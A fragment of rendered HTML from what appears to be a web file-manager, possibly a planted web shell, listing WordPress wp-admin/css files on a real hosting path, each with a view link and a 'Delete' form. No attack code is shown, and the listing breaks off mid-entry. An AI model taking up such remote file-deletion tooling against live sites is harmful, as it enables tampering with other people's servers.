                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fabout-rtl.css"> about-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/about-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fabout-rtl.min.css"> about-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/about-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fabout.css"> about.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/about.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fabout.min.css"> about.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/about.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fadmin-menu-rtl.css"> admin-menu-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/admin-menu-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fadmin-menu-rtl.min.css"> admin-menu-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/admin-menu-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fadmin-menu.css"> admin-menu.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/admin-menu.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fadmin-menu.min.css"> admin-menu.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/admin-menu.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcode-editor-rtl.css"> code-editor-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/code-editor-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcode-editor-rtl.min.css"> code-editor-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/code-editor-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcode-editor.css"> code-editor.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/code-editor.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcode-editor.min.css"> code-editor.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/code-editor.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcolor-picker-rtl.css"> color-picker-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/color-picker-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcolor-picker-rtl.min.css"> color-picker-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/color-picker-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcolor-picker.css"> color-picker.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/color-picker.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcolor-picker.min.css"> color-picker.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/color-picker.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcommon-rtl.css"> common-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/common-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcommon-rtl.min.css"> common-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/common-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcommon.css"> common.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/common.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcommon.min.css"> common.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/common.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-controls-rtl.css"> customize-controls-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-controls-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-controls-rtl.min.css"> customize-controls-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-controls-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-controls.css"> customize-controls.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-controls.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-controls.min.css"> customize-controls.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-controls.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-nav-menus-rtl.css"> customize-nav-menus-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-nav-menus-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-nav-menus-rtl.min.css"> customize-nav-menus-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-nav-menus-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-nav-menus.css"> customize-nav-menus.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-nav-menus.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-nav-menus.min.css"> customize-nav-menus.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-nav-menus.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-widgets-rtl.css"> customize-widgets-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-widgets-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-widgets-rtl.min.css"> customize-widgets-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-widgets-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-widgets.css"> customize-widgets.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-widgets.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-widgets.min.css"> customize-widgets.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-widgets.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdashboard-rtl.css"> dashboard-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/dashboard-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdashboard-rtl.min.css"> dashboard-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/dashboard-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdashboard.css"> dashboard.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/dashboard.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdashboard.min.css"> dashboard.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/dashboard.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdeprecated-media-rtl.css"> deprecated-media-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/deprecated-media-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdeprecated-media-rtl.min.css"> deprecated-media-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/deprecated-media-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdeprecated-media.css"> deprecated-media.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/deprecated-media.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdeprecated-media.min.css"> deprecated-media.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/deprecated-media.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fedit-rtl.css"> edit-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/edit-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fedit-rtl.min.css"> edit-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/edit-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fedit.css"> edit.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/edit.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fedit.min.css"> edit.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/edit.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Ffarbtastic-rtl.css"> farbtastic-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/farbtastic-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Ffarbtastic-rtl.min.css"> farbtastic-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/farbtastic-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Ffarbtastic.css"> farbtastic.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/farbtastic.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Ffarbtastic.min.css"> farbtastic.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/farbtastic.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fforms-rtl.css"> forms-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/forms-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fforms-rtl.min.css"> forms-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/forms-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fforms.css"> forms.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/forms.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fforms.min.css"> forms.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/forms.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Finstall-rtl.css"> install-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/install-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Finstall-rtl.min.css"> install-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/install-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Finstall.css"> install.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/install.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Finstall.min.css"> install.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/install.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fl10n-rtl.css"> l10n-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/l10n-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
